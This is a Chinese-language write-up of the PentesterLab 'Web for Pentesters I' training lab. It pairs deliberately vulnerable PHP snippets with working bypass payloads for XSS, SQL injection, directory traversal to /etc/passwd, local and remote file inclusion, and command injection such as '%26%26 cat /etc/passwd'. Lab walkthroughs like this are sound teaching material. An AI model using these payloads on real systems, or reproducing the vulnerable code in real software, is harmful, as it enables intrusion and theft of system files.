Web for Pentesters I

一、XSS

有三种类型的XSS:
- 反射型
- 存储型
- DOM型

1.没有任何防护

PHP源码

<?php   
    echo $_GET["name"];  
?>

payload

?name=<script>alert(1);</script> 

2.过滤了小写的,可以使用大小写绕过

PHP源码

<?php   
    $name = $_GET["name"];  
    $name = preg_replace("/<script>/", "", $name);  
    $name = preg_replace("/<\/script>/", "", $name);  
    echo $name;  
?>  

其中,preg_replace() 正则替换所有符合条件的字符串

payload

<sCript>alert(1);</scrIpt>  

3.过滤了不区分大小写的,可以使用嵌套的script标签绕过

PHP源码

<?php   
    $name = $_GET["name"];  
    $name = preg_replace("/<script>/i", "", $name);  
    $name = preg_replace("/<\/script>/i", "", $name);  
    echo $name;  
?>  

其中,修饰符i:忽略大小写,匹配不考虑大小写。

payload

<scr<script>ipt>alert(1)</scr</script>ipt> 

4.判断包含script字符串即报错,可以使用img标签绕过

PHP源码

<?php   
    if(preg_match('/script/i', $_GET["name"])) {  
        die("error");  
    }  
?>

payload-1:

<img src='a' onerror='alert(1)' />  

payload-2:

<a href="" onMouseOver="alert(1)">testtest</a>

payload-3:

<div style="color:#0000FF onMouseOver="alert(1)">
<div onclick="alert('xss')">

5.判断包含alert字符串即报错,可以使用ascii编码方式绕过

PHP源码

<?php   
    if(preg_match('/alert/i', $_GET["name"])) {  
        die("error");  
    }  
?>  

过滤了单词alert,可以使用eval和String.fromCharCode()函数,把alert(1)编码为ascii码,可以绕过。

payload-1: img标签

<img src=N onerror="eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))">

payload2: a标签

<a href=""onMouseOver="eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))">testtest</a>

6.直接在js环境中输出php变量,可以通过构造js脚本绕过

PHP源码

<script>  
    var $a = "<?php echo $_GET["name"]; ?>";  
</script>  

payload-1:使用//注释后续代码

";b=alert(1);eval(b);//

payload-2:使用虚构代码结束后续部分

";b=alert(1);eval(b);var $dummy="

7.在js环境中输出通过html编码的php变量,htmlentities没有过滤单引号,使用单引号绕过

PHP源码

<script>
    var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>

其中,htmlentities()把字符转换为HTML实体。
- htmlentities(string,flags,character-set,double_encode)
- flags参数:可选。规定如何处理引号、无效的编码以及使用哪种文档类型。
- NT_COMPAT - 默认。仅编码双引号。
- ENT_QUOTES - 编码双引号和单引号。
- ENT_NOQUOTES - 不编码任何引号。
可见htmlentities函数默认不处理单引号(’)。

payload

';b=alert(1);eval(b);//

8.post地址使用了当前url,构造当前url地址达到xss目的

PHP源码

<?php 
  require_once '../header.php'; 

  if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
  }
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

payload

/"method="POST"><script>alert(1)</script>

9.直接在页面输出锚点id,构建一个带xss的锚点即可

PHP源码

<script>
  document.write(location.hash.substring(1));
</script>

payload

#<script>alert(1)</script>

二、SQL注入

本环境使用MySQL作为后端环境。

1.

php源码

<?php

  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";  
    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }   
        echo "</table>";
    }
  require_once '../footer.php';
?>

payload
利用自带的引号闭合

自行闭合,并使用注释
- 使用–注释

?name=root' --%20
  • 使用#注释
?name=root' %23

2.检测到空格便报错。使用tab可以绕过。

php源码

<?php
  require_once('../header.php');
  require_once('db.php');

    if (preg_match('/ /', $_GET["name"])) {
        die("ERROR NO SPACE");  
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";

    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }   
        echo "</table>";
    }
  require '../footer.php';
?>

payload

?name=root'%09and%09'1'='1

3.禁止使用空格和TAB键。使用注释/**/可以绕过

payload

?name=root'/**/and/**/'1'='1

php源码

<?php
    require_once('../header.php');
  require_once('db.php');
    if (preg_match('/\s+/', $_GET["name"])) {
        die("ERROR NO SPACE");  
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";

    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }   
        echo "</table>";
    }
    require '../footer.php';
?>

4.

本例是防止SQL注入的典型错误。mysql_real_escape_string可以防止前面3种绕过方式。但是本例中获取的值是一个整数,在单引号’之间不会被回显。该值直接放入查询中,因此使用此函数不会阻止任何操作。

可以加入空格和SQL关键词来破坏语法。

php源码

<?php
  require_once('../header.php');
  require_once('db.php');
  $sql="SELECT * FROM users where id=";
    $sql.=mysql_real_escape_string($_GET["id"])." ";
    $result = mysql_query($sql);


    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>

        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }   
        echo "</table>";
    }
    require '../footer.php';
?>

payload:play with value 2

?id=2
?id=3-1
?id=2-0
?id=1+1
?id=2.0

5.?

php源码

if (!preg_match('/^[0-9]+/', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");  
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];

该正则表达式不正确,仅保证了参数id是以数字开始的。前面的检测方式可以发现该漏洞。

payload

6.

php源码

if (!preg_match('/[0-9]+$/', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");  
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];

该正则表达式仅仅保证了参数id以数字结束。没有保证参数的开始是否是有效的。

payload

?id=1 or 1=1 # 123

7.

php源码

参数id必须以数字开始和结束。但是该正则使用了PCRE修饰符PCRE_MULTILINE(/m),所以只会验证其中一行只包含一个整数。

payload

123\nPAYLOAD
PAYLOAD\n123
PAYLOAD\n123\nPAYLOAD

其中换行符(linefeed)\n的URL编码为%0a

8.排序参数。

php源码

$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";
$result = mysql_query($sql);

MySQL有两种排序语句:
- 直接声明:ORDER BY name
- 在反引号之间声明:ORDER BY name

可以测试该漏洞是否存在:

payload-1:以下payload显示相同结果

name` #
name` ASC #
name`, `name

payload-2:以下payload显示不同结果

name` DESC #
name`

9.

php源码

$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);
$result = mysql_query($sql);

可以使用MySQL的IF语句生成更多的payloads

payload-1:以下两种,结果相同

?order=name
?order=IF(1, name,age)

payload-2:和上边两种结果不同

?order=IF(0,name,age)

副作用:这种payload会导致,使用age排序时会把整数当作字符。(字符串10小于字符串2)

三、Directory traversal attack

又称Path Traversal attack,即目录遍历攻击,旨在访问web服务器根目录外的文件/目录。通过是通过url或变量里头传递”../”来进行目录遍历。

测试方法:相同值技术。使用相同意义的不同表达,以及大量的../,检测是否存在漏洞。

3.1 简单的例子,没有过滤。

example

http://vulnerable/dirtrav/example1.php?file=hacker.png

php

<?php 

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();

$file = $_GET['file'];

$path = $UploadDir . $file;

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();


?>

payload

?file=../../../../../etc/passwd

3.2

example

http://vulnerable/dirtrav/example2.php?file=/var/www/files/hacker.png

php

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

if (!(strstr($file,"/var/www/files/")))
    die();

if (!is_file($file))
    die();

可以保留路径的开始部分,使用../回溯到根目录。

payload

?file=/var/www/files/../../../../../../etc/passwd

3.3服务器添加了后缀名。在payload后面加入空字节%00可以绕过。

example

http://vulnerable/dirtrav/example3.php?file=hacker

php

$UploadDir = '/var/www/files/'; 

if (!(isset($_GET['file'])))
    die();


$file = $_GET['file'];

$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);

payload

?file=../../../../../etc/passwd%00

4.文件包含

4.1 没有任何过滤

php

if ($_GET["page"]) {
    include($_GET["page"]);
}

payload-1:本地文件包含

?page=../../../../etc/passwd

payload-2:远程文件包含

?page=http://assets.pentesterlab.com/test_include.txt

4.2 服务器添加后缀名。本地文件使用空字节%00可以绕过,远程文件使用&blah=或者?blah=可以绕过

php

if ($_GET["page"]) {
    $file = $_GET["page"].".php";
    // simulate null byte issue
    $file = preg_replace('/\x00.*/',"",$file);
    include($file);
}

payload-1:本地文件包含

?page=../../../../etc/passwd%00

payload-2:远程文件包含

?page=http://assets.pentesterlab.com/test_include.txt?blah=

URL中使用?来分隔多个不同参数。

5.代码注入

6.命令注入

6.1 没有任何的输入验证,可以直接在参数后直接注入命令

payload

?ip=127.0.0.1 %26%26 cat /etc/passwd

6.2 验证使用了多行的正则表达式,把换行符编码可以绕过

php

if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
    die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);

正则表达式的^匹配一个字符串的开头, m 分别表示行首和行尾。

注入编码的换行符(%0a)然后加上你要执行的命令就行了。

payload

?ip=127.0.0.1%0Acat /etc/passwd
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值